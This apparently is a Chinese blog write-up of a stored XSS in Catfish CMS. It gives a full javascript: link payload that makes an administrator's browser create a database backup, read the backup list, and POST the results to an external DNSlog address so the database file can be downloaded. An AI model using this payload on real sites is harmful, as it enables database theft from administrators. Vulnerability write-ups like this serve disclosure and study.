注册一个账号,找到一个帖子进行跟帖,跟帖完成后点击修改,修改已经填写的内容,最后点击下方修改完成修改操
对数据包进行拦截,解码后我们能看到gtnr参数是以html形式传递的。
我们跟进源码看看,发现\fmwk\library\catfish\Catfish.php文件的第838到846行是防护过滤函数。
对比下发现禁用了绝大多数标签和事件,但是因为前台的富文本编辑原因依旧放过了一些标签,比如最简单的a标签。于是我们可以用伪协议形式编写payload
<a href=”javascript:xxxxxxxxxx”>
我们在后台发现了备份数据库功能,于是通过XSS进行数据库备份请求,再GET数据库列表页面获得html代码,再通过DNSlog平台即可获得数据库随机名称,造成数据库随机名泄露。
最终payload为
ver=$('#verification').text();
$.ajax({type:'POST',url:'http://www.cms.com/index.php/admin/index/dbbackup.html',data:{verification:ver},success:alert('ok')});
$.ajax({type:'GET',url:'http://www.cms.com/index.php/admin/index/dbbackup.html',success:function(result){$.ajax({type:'POST',url:'DNSlog地址',data:result,success:alert('ok')})}})">aaaaaaaaaaa </a>
(payload共会发起三次请求,加上了”ok”提示请求发送过程,实际攻击时没有)
发送完成,刷新一次页面清除缓存
管理员登陆到后台时跟帖管理和后台首页都会显示最新跟帖(加载我们的恶意代码)
由于是a标签,需要手动触发(可以使用其他手法静默执行)
通过AJAX我们的payload发送了数据库备份请求
返回OK说明成功执行的
紧接着再发送一次GET请求,获取数据库列表页面html,从而得到数据库名称和下载地址
得到数据库备份列表的html源代码
这时ajax进行第三次请求,将刚刚获取到的数据POST到远程DNSlog平台,这样我们就能拿到数据了
进入DNSlog平台,看到有一个post请求
查看详细,在里面找到数据库的文件地址和名称
拿到数据库备份文件下载地址后退出并清空缓存,浏览器访问弹出提示并成功下载(模拟其他用户下载行为)
Jyb为该cms专有备份格式,下载到文件后可以导入自己的本地环境查看数据信息
该文章为几个月前的随笔,有不详细的地方请自行脑补。
利用过程为XSS+CSRF+文件下载
Comments | NOTHING